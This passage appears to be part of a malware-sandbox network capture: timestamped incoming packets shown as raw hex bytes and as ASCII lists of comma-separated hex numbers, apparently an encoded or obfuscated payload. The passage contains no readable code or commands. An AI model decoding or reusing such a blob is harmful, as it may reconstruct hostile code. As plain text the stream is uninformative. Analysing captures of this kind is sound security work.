2023-04-20 23:05:27 UTC	18157	IN	Data Raw: 39 2c 66 32 2c 64 31 2c 64 61 2c 37 39 2c 38 61 2c 63 64 2c 63 38 2c 39 65 2c 39 39 2c 39 63 2c 36 65 2c 38 39 2c 38 61 2c 36 66 2c 38 38 2c 37 31 2c 39 31 2c 63 65 2c 62 39 2c 62 35 2c 38 66 2c 64 39 2c 31 31 32 2c 39 31 2c 62 65 2c 65 31 2c 64 61 2c 36 64 2c 66 31 2c 31 36 35 2c 31 33 36 2c 37 34 2c 31 30 62 2c 61 36 2c 63 34 2c 31 32 32 2c 31 32 30 2c 66 35 2c 35 66 2c 31 35 37 2c 38 30 2c 61 66 2c 38 65 2c 31 30 34 2c 62 64 2c 31 31 61 2c 61 33 2c 31 30 30 2c 31 34 36 2c 61 39 2c 61 36 2c 65 65 2c 37 63 2c 37 64 2c 31 30 37 2c 62 35 2c 31 33 63 2c 31 30 61 2c 36 37 2c 34 64 2c 31 31 66 2c 38 36 2c 34 37 2c 36 36 2c 31 34 61 2c 31 30 34 2c 39 35 2c 38 63 2c 61 38 2c 31 32 64 2c 38 66 2c 31 31 31 2c 61 64 2c 31 32 61 2c 31 33 32 2c 65 36 2c 37 64 2c 36 Data Ascii: 9,f2,d1,da,79,8a,cd,c8,9e,99,9c,6e,89,8a,6f,88,71,91,ce,b9,b5,8f,d9,112,91,be,e1,da,6d,f1,165,136,74,10b,a6,c4,122,120,f5,5f,157,80,af,8e,104,bd,11a,a3,100,146,a9,a6,ee,7c,7d,107,b5,13c,10a,67,4d,11f,86,47,66,14a,104,95,8c,a8,12d,8f,111,ad,12a,132,e6,7d,6
2023-04-20 23:05:27 UTC	18173	IN	Data Raw: 64 31 2c 31 32 64 2c 34 34 2c 65 34 2c 65 61 2c 36 33 2c 31 36 66 2c 37 39 2c 39 36 2c 36 39 2c 31 35 32 2c 64 31 2c 35 61 2c 31 34 61 2c 64 66 2c 65 30 2c 37 36 2c 31 31 35 2c 65 64 2c 31 35 61 2c 66 35 2c 36 63 2c 31 30 31 2c 62 34 2c 62 33 2c 31 35 61 2c 37 63 2c 31 35 31 2c 31 34 37 2c 61 66 2c 62 65 2c 62 34 2c 31 31 36 2c 38 61 2c 33 34 2c 31 30 33 2c 37 30 2c 65 35 2c 31 31 66 2c 39 31 2c 62 66 2c 35 36 2c 61 34 2c 61 65 2c 31 32 34 2c 31 33 39 2c 36 62 2c 38 65 2c 37 32 2c 61 35 2c 61 34 2c 64 66 2c 62 61 2c 64 63 2c 37 37 2c 61 37 2c 39 30 2c 66 63 2c 35 37 2c 37 33 2c 31 32 65 2c 31 34 32 2c 31 36 30 2c 31 33 39 2c 36 65 2c 38 30 2c 36 35 2c 35 39 2c 36 66 2c 64 39 2c 65 62 2c 62 37 2c 64 35 2c 35 32 2c 31 32 33 2c 31 34 30 2c 62 64 2c 38 61 2c Data Ascii: d1,12d,44,e4,ea,63,16f,79,96,69,152,d1,5a,14a,df,e0,76,115,ed,15a,f5,6c,101,b4,b3,15a,7c,151,147,af,be,b4,116,8a,34,103,70,e5,11f,91,bf,56,a4,ae,124,139,6b,8e,72,a5,a4,df,ba,dc,77,a7,90,fc,57,73,12e,142,160,139,6e,80,65,59,6f,d9,eb,b7,d5,52,123,140,bd,8a,
2023-04-20 23:05:27 UTC	18189	IN	Data Raw: 2c 31 32 38 2c 31 34 35 2c 31 32 31 2c 39 63 2c 65 37 2c 31 32 37 2c 36 66 2c 63 33 2c 65 30 2c 31 32 63 2c 63 61 2c 61 65 2c 31 31 37 2c 66 30 2c 31 34 39 2c 66 37 2c 61 38 2c 31 35 30 2c 66 66 2c 31 32 66 2c 63 35 2c 38 61 2c 39 39 2c 31 32 61 2c 37 62 2c 31 31 37 2c 34 66 2c 63 62 2c 64 37 2c 66 65 2c 61 31 2c 31 33 34 2c 39 33 2c 62 36 2c 37 31 2c 63 30 2c 65 66 2c 31 35 33 2c 64 36 2c 31 31 31 2c 63 39 2c 36 36 2c 31 32 66 2c 31 30 30 2c 31 30 37 2c 38 65 2c 63 38 2c 39 38 2c 31 36 31 2c 65 31 2c 39 31 2c 31 34 33 2c 31 30 30 2c 63 37 2c 37 30 2c 39 65 2c 36 35 2c 31 34 37 2c 31 33 31 2c 35 38 2c 37 39 2c 62 37 2c 31 36 33 2c 31 32 37 2c 31 32 36 2c 39 65 2c 39 32 2c 31 30 63 2c 31 30 34 2c 66 61 2c 31 31 32 2c 61 63 2c 64 64 2c 36 33 2c 31 31 30 2c Data Ascii: ,128,145,121,9c,e7,127,6f,c3,e0,12c,ca,ae,117,f0,149,f7,a8,150,ff,12f,c5,8a,99,12a,7b,117,4f,cb,d7,fe,a1,134,93,b6,71,c0,ef,153,d6,111,c9,66,12f,100,107,8e,c8,98,161,e1,91,143,100,c7,70,9e,65,147,131,58,79,b7,163,127,126,9e,92,10c,104,fa,112,ac,dd,63,110,
2023-04-20 23:05:27 UTC	18205	IN	Data Raw: 31 32 64 2c 62 36 2c 66 33 2c 31 34 32 2c 31 34 37 2c 62 66 2c 31 35 39 2c 63 34 2c 61 30 2c 31 34 64 2c 63 65 2c 65 37 2c 39 36 2c 31 33 31 2c 62 39 2c 65 39 2c 36 61 2c 31 30 65 2c 61 30 2c 38 63 2c 31 35 61 2c 31 32 34 2c 38 64 2c 37 62 2c 31 36 64 2c 31 31 34 2c 38 61 2c 64 63 2c 62 65 2c 62 65 2c 66 31 2c 34 64 2c 33 65 2c 31 32 31 2c 31 30 65 2c 65 35 2c 38 35 2c 31 31 63 2c 31 31 64 2c 64 33 2c 35 61 2c 31 34 30 2c 31 33 66 2c 61 34 2c 66 34 2c 37 35 2c 31 34 64 2c 64 63 2c 34 34 2c 31 34 37 2c 63 31 2c 37 65 2c 31 31 63 2c 63 64 2c 31 33 37 2c 36 39 2c 31 32 37 2c 38 34 2c 66 30 2c 31 30 66 2c 66 64 2c 31 32 61 2c 39 62 2c 61 62 2c 39 65 2c 31 35 62 2c 65 61 2c 38 37 2c 62 34 2c 65 65 2c 64 37 2c 31 30 32 2c 65 62 2c 31 33 38 2c 39 35 2c 64 66 2c Data Ascii: 12d,b6,f3,142,147,bf,159,c4,a0,14d,ce,e7,96,131,b9,e9,6a,10e,a0,8c,15a,124,8d,7b,16d,114,8a,dc,be,be,f1,4d,3e,121,10e,e5,85,11c,11d,d3,5a,140,13f,a4,f4,75,14d,dc,44,147,c1,7e,11c,cd,137,69,127,84,f0,10f,fd,12a,9b,ab,9e,15b,ea,87,b4,ee,d7,102,eb,138,95,df,
2023-04-20 23:05:27 UTC	18221	IN	Data Raw: 2c 39 30 2c 37 37 2c 63 64 2c 31 31 66 2c 31 33 35 2c 31 34 30 2c 31 36 39 2c 31 34 33 2c 39 66 2c 31 30 66 2c 38 39 2c 35 63 2c 66 63 2c 31 32 64 2c 31 33 33 2c 31 37 35 2c 31 32 37 2c 63 37 2c 62 66 2c 31 34 30 2c 31 35 66 2c 33 33 2c 31 30 61 2c 35 36 2c 65 61 2c 31 34 32 2c 63 64 2c 63 63 2c 31 34 34 2c 65 63 2c 31 32 31 2c 64 64 2c 65 34 2c 31 30 35 2c 64 65 2c 31 33 35 2c 35 33 2c 31 35 30 2c 62 66 2c 31 37 34 2c 65 31 2c 38 64 2c 62 61 2c 31 31 32 2c 31 34 64 2c 63 30 2c 65 37 2c 64 65 2c 37 61 2c 31 34 64 2c 63 35 2c 31 32 35 2c 66 31 2c 39 33 2c 63 61 2c 62 37 2c 31 30 65 2c 62 34 2c 31 30 65 2c 31 32 64 2c 31 33 30 2c 31 31 66 2c 35 63 2c 31 30 33 2c 38 31 2c 66 35 2c 31 36 33 2c 66 66 2c 37 37 2c 31 35 30 2c 61 63 2c 65 63 2c 65 64 2c 64 62 2c Data Ascii: ,90,77,cd,11f,135,140,169,143,9f,10f,89,5c,fc,12d,133,175,127,c7,bf,140,15f,33,10a,56,ea,142,cd,cc,144,ec,121,dd,e4,105,de,135,53,150,bf,174,e1,8d,ba,112,14d,c0,e7,de,7a,14d,c5,125,f1,93,ca,b7,10e,b4,10e,12d,130,11f,5c,103,81,f5,163,ff,77,150,ac,ec,ed,db,
2023-04-20 23:05:27 UTC	18237	IN	Data Raw: 62 31 2c 63 31 2c 66 62 2c 36 63 2c 31 30 35 2c 31 30 39 2c 38 34 2c 31 33 35 2c 64 30 2c 61 62 2c 31 32 39 2c 64 36 2c 31 30 62 2c 38 61 2c 31 32 35 2c 31 33 39 2c 36 34 2c 31 30 31 2c 39 30 2c 31 32 34 2c 37 31 2c 36 33 2c 66 37 2c 39 65 2c 37 38 2c 62 61 2c 37 63 2c 31 30 64 2c 38 36 2c 36 62 2c 31 34 64 2c 38 39 2c 39 39 2c 37 66 2c 38 39 2c 63 66 2c 62 66 2c 61 32 2c 31 33 31 2c 34 30 2c 66 65 2c 37 31 2c 37 66 2c 39 61 2c 36 39 2c 31 32 62 2c 31 33 38 2c 31 33 64 2c 66 37 2c 37 36 2c 38 32 2c 31 31 63 2c 35 61 2c 61 32 2c 31 35 66 2c 61 38 2c 31 32 38 2c 31 33 36 2c 62 32 2c 31 30 32 2c 62 38 2c 31 32 66 2c 31 34 38 2c 65 65 2c 36 32 2c 38 39 2c 31 33 33 2c 31 33 61 2c 31 36 35 2c 63 31 2c 31 32 63 2c 66 37 2c 62 66 2c 63 32 2c 61 66 2c 31 33 66 2c Data Ascii: b1,c1,fb,6c,105,109,84,135,d0,ab,129,d6,10b,8a,125,139,64,101,90,124,71,63,f7,9e,78,ba,7c,10d,86,6b,14d,89,99,7f,89,cf,bf,a2,131,40,fe,71,7f,9a,69,12b,138,13d,f7,76,82,11c,5a,a2,15f,a8,128,136,b2,102,b8,12f,148,ee,62,89,133,13a,165,c1,12c,f7,bf,c2,af,13f,
2023-04-20 23:05:27 UTC	18253	IN	Data Raw: 61 62 2c 66 32 2c 38 64 2c 38 34 2c 31 34 35 2c 61 66 2c 65 66 2c 31 36 31 2c 62 35 2c 65 31 2c 31 30 34 2c 61 63 2c 31 34 39 2c 62 37 2c 63 33 2c 31 32 35 2c 31 32 61 2c 62 33 2c 64 32 2c 35 62 2c 31 32 64 2c 31 34 36 2c 39 36 2c 31 34 32 2c 62 64 2c 31 32 38 2c 37 36 2c 66 62 2c 31 35 63 2c 31 36 32 2c 37 61 2c 61 35 2c 31 31 66 2c 33 31 2c 31 34 61 2c 31 33 62 2c 38 37 2c 31 31 65 2c 37 39 2c 61 31 2c 39 30 2c 31 35 33 2c 62 37 2c 34 39 2c 61 34 2c 31 32 65 2c 38 37 2c 31 35 36 2c 61 30 2c 37 30 2c 31 34 39 2c 37 31 2c 36 66 2c 37 34 2c 65 66 2c 39 37 2c 31 31 65 2c 31 32 30 2c 37 36 2c 31 35 30 2c 31 32 64 2c 31 33 63 2c 65 63 2c 36 66 2c 66 34 2c 31 32 32 2c 31 31 37 2c 31 30 36 2c 39 30 2c 31 31 37 2c 37 30 2c 62 66 2c 31 30 39 2c 37 39 2c 39 65 2c Data Ascii: ab,f2,8d,84,145,af,ef,161,b5,e1,104,ac,149,b7,c3,125,12a,b3,d2,5b,12d,146,96,142,bd,128,76,fb,15c,162,7a,a5,11f,31,14a,13b,87,11e,79,a1,90,153,b7,49,a4,12e,87,156,a0,70,149,71,6f,74,ef,97,11e,120,76,150,12d,13c,ec,6f,f4,122,117,106,90,117,70,bf,109,79,9e,
2023-04-20 23:05:27 UTC	18269	IN	Data Raw: 64 2c 64 39 2c 61 32 2c 31 31 30 2c 61 30 2c 65 34 2c 31 31 61 2c 61 30 2c 62 66 2c 61 63 2c 66 39 2c 64 64 2c 31 32 62 2c 39 66 2c 31 34 66 2c 62 35 2c 31 35 30 2c 31 33 36 2c 31 32 30 2c 34 30 2c 31 34 37 2c 39 38 2c 64 66 2c 37 61 2c 63 37 2c 61 38 2c 65 65 2c 39 61 2c 31 31 33 2c 38 36 2c 36 36 2c 39 33 2c 65 65 2c 36 30 2c 62 33 2c 63 36 2c 31 34 30 2c 35 35 2c 37 34 2c 64 62 2c 31 34 65 2c 39 63 2c 31 36 37 2c 34 37 2c 37 33 2c 31 34 33 2c 31 31 33 2c 31 36 33 2c 39 32 2c 66 61 2c 35 39 2c 38 66 2c 36 31 2c 35 31 2c 65 36 2c 37 63 2c 61 32 2c 64 35 2c 31 30 33 2c 64 36 2c 37 62 2c 31 32 39 2c 39 32 2c 31 33 64 2c 66 39 2c 61 38 2c 61 34 2c 38 34 2c 37 39 2c 61 33 2c 31 32 39 2c 38 31 2c 64 35 2c 66 65 2c 65 35 2c 31 32 63 2c 62 35 2c 63 63 2c 31 35 Data Ascii: d,d9,a2,110,a0,e4,11a,a0,bf,ac,f9,dd,12b,9f,14f,b5,150,136,120,40,147,98,df,7a,c7,a8,ee,9a,113,86,66,93,ee,60,b3,c6,140,55,74,db,14e,9c,167,47,73,143,113,163,92,fa,59,8f,61,51,e6,7c,a2,d5,103,d6,7b,129,92,13d,f9,a8,a4,84,79,a3,129,81,d5,fe,e5,12c,b5,cc,15
2023-04-20 23:05:27 UTC	18285	IN	Data Raw: 63 2c 39 35 2c 64 38 2c 31 31 32 2c 36 33 2c 65 61 2c 31 30 37 2c 61 64 2c 61 37 2c 61 38 2c 39 61 2c 62 66 2c 39 65 2c 31 37 34 2c 39 61 2c 61 31 2c 31 34 31 2c 62 38 2c 61 30 2c 64 34 2c 62 39 2c 38 39 2c 31 34 61 2c 64 64 2c 62 31 2c 31 34 36 2c 64 35 2c 31 31 37 2c 36 65 2c 64 63 2c 31 30 65 2c 31 34 37 2c 64 35 2c 39 38 2c 37 66 2c 31 33 32 2c 64 38 2c 64 39 2c 61 34 2c 39 36 2c 31 32 37 2c 34 30 2c 35 37 2c 31 33 34 2c 31 32 61 2c 62 34 2c 31 31 37 2c 39 61 2c 63 31 2c 34 33 2c 38 32 2c 31 31 33 2c 35 39 2c 62 36 2c 61 33 2c 38 66 2c 38 31 2c 38 30 2c 31 33 37 2c 61 65 2c 36 36 2c 35 64 2c 31 30 31 2c 64 30 2c 31 34 31 2c 34 63 2c 31 34 37 2c 63 39 2c 38 30 2c 37 36 2c 66 66 2c 65 63 2c 37 33 2c 33 66 2c 64 38 2c 31 31 36 2c 31 33 63 2c 66 39 2c 63 Data Ascii: c,95,d8,112,63,ea,107,ad,a7,a8,9a,bf,9e,174,9a,a1,141,b8,a0,d4,b9,89,14a,dd,b1,146,d5,117,6e,dc,10e,147,d5,98,7f,132,d8,d9,a4,96,127,40,57,134,12a,b4,117,9a,c1,43,82,113,59,b6,a3,8f,81,80,137,ae,66,5d,101,d0,141,4c,147,c9,80,76,ff,ec,73,3f,d8,116,13c,f9,c
2023-04-20 23:05:27 UTC	18301	IN	Data Raw: 2c 31 36 38 2c 62 65 2c 62 30 2c 38 66 2c 31 37 31 2c 66 34 2c 63 30 2c 39 63 2c 35 30 2c 35 65 2c 65 38 2c 31 32 37 2c 66 37 2c 31 34 31 2c 37 38 2c 31 35 36 2c 31 31 64 2c 31 32 62 2c 39 34 2c 31 31 64 2c 35 63 2c 31 31 39 2c 31 33 30 2c 63 35 2c 66 39 2c 31 32 30 2c 63 32 2c 39 32 2c 38 36 2c 39 33 2c 38 31 2c 62 38 2c 61 33 2c 39 36 2c 35 66 2c 31 33 30 2c 38 39 2c 39 65 2c 65 30 2c 37 32 2c 34 39 2c 39 64 2c 62 63 2c 61 38 2c 37 66 2c 31 34 31 2c 31 33 64 2c 31 31 62 2c 31 31 34 2c 31 31 31 2c 31 33 62 2c 36 39 2c 64 31 2c 31 32 30 2c 63 61 2c 66 36 2c 38 61 2c 36 35 2c 38 64 2c 61 34 2c 38 30 2c 31 33 38 2c 36 33 2c 64 66 2c 66 39 2c 31 32 39 2c 31 33 66 2c 66 38 2c 63 35 2c 64 65 2c 66 65 2c 36 37 2c 63 61 2c 35 63 2c 65 65 2c 34 62 2c 31 30 35 2c Data Ascii: ,168,be,b0,8f,171,f4,c0,9c,50,5e,e8,127,f7,141,78,156,11d,12b,94,11d,5c,119,130,c5,f9,120,c2,92,86,93,81,b8,a3,96,5f,130,89,9e,e0,72,49,9d,bc,a8,7f,141,13d,11b,114,111,13b,69,d1,120,ca,f6,8a,65,8d,a4,80,138,63,df,f9,129,13f,f8,c5,de,fe,67,ca,5c,ee,4b,105,
2023-04-20 23:05:27 UTC	18317	IN	Data Raw: 38 2c 31 35 33 2c 37 66 2c 64 38 2c 64 30 2c 63 62 2c 31 33 66 2c 31 32 36 2c 31 37 32 2c 38 33 2c 39 64 2c 61 33 2c 37 31 2c 66 32 2c 39 32 2c 62 33 2c 39 62 2c 31 33 61 2c 38 30 2c 61 36 2c 31 32 61 2c 31 34 63 2c 31 34 33 2c 31 32 38 2c 38 39 2c 36 39 2c 31 30 31 2c 64 39 2c 65 36 2c 31 32 35 2c 31 33 34 2c 31 31 36 2c 62 38 2c 31 33 33 2c 31 35 62 2c 31 30 30 2c 31 36 37 2c 61 32 2c 37 32 2c 31 31 65 2c 37 39 2c 31 35 34 2c 31 31 37 2c 31 31 39 2c 39 39 2c 35 34 2c 39 63 2c 62 38 2c 38 38 2c 39 61 2c 39 39 2c 63 33 2c 31 33 32 2c 31 32 37 2c 37 62 2c 61 39 2c 61 30 2c 31 34 61 2c 62 64 2c 66 31 2c 61 37 2c 65 36 2c 39 64 2c 65 65 2c 35 36 2c 39 39 2c 66 37 2c 31 35 34 2c 61 38 2c 39 64 2c 39 33 2c 31 31 65 2c 63 31 2c 31 34 32 2c 31 33 64 2c 38 37 2c Data Ascii: 8,153,7f,d8,d0,cb,13f,126,172,83,9d,a3,71,f2,92,b3,9b,13a,80,a6,12a,14c,143,128,89,69,101,d9,e6,125,134,116,b8,133,15b,100,167,a2,72,11e,79,154,117,119,99,54,9c,b8,88,9a,99,c3,132,127,7b,a9,a0,14a,bd,f1,a7,e6,9d,ee,56,99,f7,154,a8,9d,93,11e,c1,142,13d,87,
2023-04-20 23:05:27 UTC	18333	IN	Data Raw: 2c 62 66 2c 61 35 2c 31 30 33 2c 35 63 2c 31 35 39 2c 31 31 37 2c 31 36 38 2c 63 38 2c 31 34 66 2c 31 32 30 2c 31 30 66 2c 62 34 2c 36 35 2c 37 36 2c 61 65 2c 63 38 2c 31 32 64 2c 36 65 2c 65 33 2c 31 30 34 2c 64 66 2c 38 66 2c 61 64 2c 31 31 37 2c 31 34 36 2c 64 37 2c 36 36 2c 66 64 2c 63 64 2c 31 32 33 2c 64 36 2c 66 65 2c 31 31 30 2c 66 31 2c 34 64 2c 36 31 2c 31 32 33 2c 31 32 63 2c 31 36 38 2c 36 37 2c 64 61 2c 39 36 2c 61 65 2c 31 32 31 2c 31 33 31 2c 38 63 2c 66 35 2c 62 35 2c 31 31 33 2c 31 30 31 2c 63 63 2c 39 66 2c 65 66 2c 66 37 2c 66 34 2c 31 32 63 2c 62 63 2c 64 33 2c 63 66 2c 35 34 2c 62 37 2c 31 31 39 2c 34 61 2c 61 32 2c 31 32 31 2c 36 37 2c 31 31 65 2c 38 61 2c 62 62 2c 65 61 2c 66 34 2c 65 66 2c 31 33 36 2c 38 66 2c 66 62 2c 31 34 64 2c Data Ascii: ,bf,a5,103,5c,159,117,168,c8,14f,120,10f,b4,65,76,ae,c8,12d,6e,e3,104,df,8f,ad,117,146,d7,66,fd,cd,123,d6,fe,110,f1,4d,61,123,12c,168,67,da,96,ae,121,131,8c,f5,b5,113,101,cc,9f,ef,f7,f4,12c,bc,d3,cf,54,b7,119,4a,a2,121,67,11e,8a,bb,ea,f4,ef,136,8f,fb,14d,
2023-04-20 23:05:28 UTC	18349	IN	Data Raw: 31 32 62 2c 31 35 36 2c 31 32 33 2c 63 66 2c 36 39 2c 37 63 2c 31 35 30 2c 38 62 2c 31 34 39 2c 31 33 32 2c 62 32 2c 31 34 30 2c 62 33 2c 39 38 2c 34 63 2c 38 39 2c 31 36 37 2c 31 34 61 2c 64 64 2c 31 31 65 2c 66 37 2c 31 31 61 2c 35 63 2c 64 31 2c 38 64 2c 31 36 38 2c 31 31 30 2c 31 34 32 2c 38 38 2c 37 36 2c 31 33 31 2c 31 33 65 2c 35 66 2c 31 30 35 2c 31 35 62 2c 31 34 33 2c 64 33 2c 36 33 2c 66 31 2c 37 39 2c 31 30 63 2c 31 33 61 2c 31 34 66 2c 38 38 2c 31 31 63 2c 65 31 2c 62 64 2c 31 33 35 2c 62 34 2c 63 38 2c 36 65 2c 66 65 2c 38 37 2c 64 39 2c 39 37 2c 31 33 62 2c 31 34 33 2c 65 38 2c 31 30 61 2c 65 35 2c 31 30 38 2c 31 33 36 2c 66 64 2c 39 38 2c 31 34 62 2c 31 35 33 2c 64 38 2c 31 31 37 2c 31 30 31 2c 31 32 30 2c 38 66 2c 66 36 2c 62 39 2c 66 33 Data Ascii: 12b,156,123,cf,69,7c,150,8b,149,132,b2,140,b3,98,4c,89,167,14a,dd,11e,f7,11a,5c,d1,8d,168,110,142,88,76,131,13e,5f,105,15b,143,d3,63,f1,79,10c,13a,14f,88,11c,e1,bd,135,b4,c8,6e,fe,87,d9,97,13b,143,e8,10a,e5,108,136,fd,98,14b,153,d8,117,101,120,8f,f6,b9,f3
2023-04-20 23:05:28 UTC	18365	IN	Data Raw: 32 33 2c 36 37 2c 65 65 2c 37 34 2c 36 64 2c 62 30 2c 31 33 31 2c 64 30 2c 38 61 2c 66 34 2c 62 34 2c 31 37 31 2c 31 31 62 2c 31 31 33 2c 36 30 2c 31 33 37 2c 65 61 2c 38 65 2c 65 37 2c 36 61 2c 31 30 65 2c 62 63 2c 61 33 2c 39 65 2c 31 30 62 2c 64 35 2c 65 64 2c 35 34 2c 66 62 2c 64 65 2c 39 64 2c 66 39 2c 35 35 2c 31 33 61 2c 65 36 2c 63 35 2c 31 31 38 2c 31 31 62 2c 31 32 37 2c 38 33 2c 38 35 2c 31 35 66 2c 31 30 36 2c 66 32 2c 31 32 66 2c 35 66 2c 36 65 2c 61 32 2c 31 30 31 2c 31 33 38 2c 37 61 2c 36 31 2c 62 32 2c 37 31 2c 63 30 2c 61 65 2c 31 33 31 2c 31 34 61 2c 31 33 61 2c 39 61 2c 38 61 2c 31 34 39 2c 39 65 2c 31 33 62 2c 66 34 2c 65 31 2c 35 31 2c 38 31 2c 62 62 2c 38 38 2c 66 34 2c 64 37 2c 64 30 2c 31 36 37 2c 31 33 30 2c 65 64 2c 37 64 2c 38 Data Ascii: 23,67,ee,74,6d,b0,131,d0,8a,f4,b4,171,11b,113,60,137,ea,8e,e7,6a,10e,bc,a3,9e,10b,d5,ed,54,fb,de,9d,f9,55,13a,e6,c5,118,11b,127,83,85,15f,106,f2,12f,5f,6e,a2,101,138,7a,61,b2,71,c0,ae,131,14a,13a,9a,8a,149,9e,13b,f4,e1,51,81,bb,88,f4,d7,d0,167,130,ed,7d,8
2023-04-20 23:05:28 UTC	18381	IN	Data Raw: 64 38 2c 31 33 65 2c 31 31 64 2c 38 37 2c 31 30 32 2c 37 61 2c 65 37 2c 63 65 2c 66 37 2c 37 35 2c 31 33 62 2c 61 33 2c 31 31 33 2c 37 39 2c 35 62 2c 66 39 2c 62 39 2c 31 34 62 2c 62 34 2c 38 36 2c 31 30 39 2c 62 37 2c 64 32 2c 31 33 39 2c 64 31 2c 37 66 2c 31 34 31 2c 37 32 2c 31 34 38 2c 37 66 2c 38 31 2c 39 36 2c 38 37 2c 31 31 62 2c 31 31 64 2c 38 37 2c 31 30 32 2c 37 61 2c 66 64 2c 66 31 2c 39 34 2c 31 31 64 2c 31 32 32 2c 61 33 2c 31 31 33 2c 37 39 2c 31 32 33 2c 31 37 30 2c 63 62 2c 38 37 2c 38 37 2c 38 36 2c 31 30 39 2c 36 38 2c 31 31 34 2c 38 39 2c 61 34 2c 66 37 2c 61 37 2c 31 30 63 2c 31 34 37 2c 37 66 2c 66 36 2c 38 36 2c 65 30 2c 31 34 32 2c 62 30 2c 39 37 2c 31 30 32 2c 37 61 2c 66 64 2c 37 39 2c 31 32 65 2c 39 32 2c 39 65 2c 31 32 62 2c 37 Data Ascii: d8,13e,11d,87,102,7a,e7,ce,f7,75,13b,a3,113,79,5b,f9,b9,14b,b4,86,109,b7,d2,139,d1,7f,141,72,148,7f,81,96,87,11b,11d,87,102,7a,fd,f1,94,11d,122,a3,113,79,123,170,cb,87,87,86,109,68,114,89,a4,f7,a7,10c,147,7f,f6,86,e0,142,b0,97,102,7a,fd,79,12e,92,9e,12b,7
2023-04-20 23:05:28 UTC	18397	IN	Data Raw: 65 64 2c 31 30 62 2c 31 32 36 2c 37 63 2c 62 30 2c 34 37 2c 31 34 36 2c 31 32 63 2c 39 36 2c 31 30 64 2c 62 39 2c 31 33 66 2c 31 31 31 2c 62 63 2c 62 31 2c 64 66 2c 31 30 33 2c 31 34 34 2c 62 64 2c 64 66 2c 65 62 2c 31 31 39 2c 31 30 37 2c 63 61 2c 31 33 30 2c 31 31 35 2c 31 33 34 2c 39 37 2c 31 30 65 2c 31 32 32 2c 35 66 2c 64 39 2c 61 64 2c 63 63 2c 31 36 30 2c 31 34 39 2c 38 62 2c 61 39 2c 31 33 33 2c 65 63 2c 31 32 33 2c 36 39 2c 31 32 62 2c 31 36 64 2c 37 35 2c 61 66 2c 36 66 2c 64 34 2c 31 31 30 2c 35 34 2c 31 30 64 2c 63 66 2c 31 34 33 2c 31 33 31 2c 62 34 2c 63 66 2c 31 30 39 2c 38 33 2c 31 31 38 2c 31 33 34 2c 62 66 2c 65 66 2c 31 31 61 2c 37 34 2c 63 66 2c 36 65 2c 31 30 66 2c 31 31 64 2c 36 66 2c 65 30 2c 64 63 2c 65 36 2c 64 39 2c 31 33 32 2c Data Ascii: ed,10b,126,7c,b0,47,146,12c,96,10d,b9,13f,111,bc,b1,df,103,144,bd,df,eb,119,107,ca,130,115,134,97,10e,122,5f,d9,ad,cc,160,149,8b,a9,133,ec,123,69,12b,16d,75,af,6f,d4,110,54,10d,cf,143,131,b4,cf,109,83,118,134,bf,ef,11a,74,cf,6e,10f,11d,6f,e0,dc,e6,d9,132,
2023-04-20 23:05:28 UTC	18413	IN	Data Raw: 2c 66 35 2c 36 32 2c 31 32 32 2c 31 32 35 2c 31 34 35 2c 31 33 31 2c 39 35 2c 31 32 63 2c 33 37 2c 63 38 2c 66 30 2c 31 31 31 2c 31 33 32 2c 31 32 64 2c 61 30 2c 31 30 37 2c 62 31 2c 31 30 32 2c 36 64 2c 36 39 2c 31 32 37 2c 64 39 2c 31 30 37 2c 31 33 38 2c 31 32 33 2c 63 30 2c 31 34 64 2c 35 35 2c 31 33 32 2c 31 30 39 2c 39 35 2c 38 38 2c 66 36 2c 31 32 35 2c 31 34 63 2c 31 31 37 2c 31 30 30 2c 38 35 2c 31 35 35 2c 66 33 2c 34 34 2c 37 66 2c 36 32 2c 31 30 30 2c 36 62 2c 39 31 2c 34 63 2c 65 36 2c 63 33 2c 31 30 30 2c 62 65 2c 31 32 66 2c 66 39 2c 37 66 2c 31 33 37 2c 31 32 30 2c 62 61 2c 31 37 37 2c 63 39 2c 62 33 2c 64 64 2c 65 64 2c 35 35 2c 61 65 2c 34 38 2c 31 34 65 2c 66 64 2c 31 32 39 2c 31 30 37 2c 66 65 2c 61 63 2c 31 30 37 2c 31 30 64 2c 35 63 Data Ascii: ,f5,62,122,125,145,131,95,12c,37,c8,f0,111,132,12d,a0,107,b1,102,6d,69,127,d9,107,138,123,c0,14d,55,132,109,95,88,f6,125,14c,117,100,85,155,f3,44,7f,62,100,6b,91,4c,e6,c3,100,be,12f,f9,7f,137,120,ba,177,c9,b3,dd,ed,55,ae,48,14e,fd,129,107,fe,ac,107,10d,5c
2023-04-20 23:05:28 UTC	18429	IN	Data Raw: 33 2c 31 32 31 2c 66 39 2c 64 61 2c 37 30 2c 37 30 2c 66 63 2c 61 37 2c 31 32 30 2c 31 34 30 2c 62 31 2c 39 61 2c 35 64 2c 31 30 34 2c 39 66 2c 64 30 2c 62 61 2c 37 32 2c 36 62 2c 39 37 2c 33 65 2c 37 63 2c 35 36 2c 31 33 33 2c 61 39 2c 31 31 35 2c 31 31 35 2c 38 34 2c 65 61 2c 39 35 2c 64 39 2c 62 30 2c 37 33 2c 61 35 2c 36 33 2c 31 31 30 2c 63 62 2c 65 38 2c 37 37 2c 31 31 66 2c 37 63 2c 64 63 2c 31 33 63 2c 31 36 30 2c 31 33 37 2c 38 34 2c 65 31 2c 31 30 33 2c 38 32 2c 37 32 2c 62 31 2c 38 30 2c 64 61 2c 31 31 66 2c 65 30 2c 31 30 31 2c 66 39 2c 63 34 2c 38 36 2c 65 38 2c 66 32 2c 31 34 35 2c 66 33 2c 36 39 2c 31 32 65 2c 66 36 2c 31 33 38 2c 38 34 2c 31 31 35 2c 31 33 35 2c 35 36 2c 61 61 2c 31 34 63 2c 39 66 2c 64 61 2c 65 39 2c 31 31 36 2c 31 34 39 Data Ascii: 3,121,f9,da,70,70,fc,a7,120,140,b1,9a,5d,104,9f,d0,ba,72,6b,97,3e,7c,56,133,a9,115,115,84,ea,95,d9,b0,73,a5,63,110,cb,e8,77,11f,7c,dc,13c,160,137,84,e1,103,82,72,b1,80,da,11f,e0,101,f9,c4,86,e8,f2,145,f3,69,12e,f6,138,84,115,135,56,aa,14c,9f,da,e9,116,149
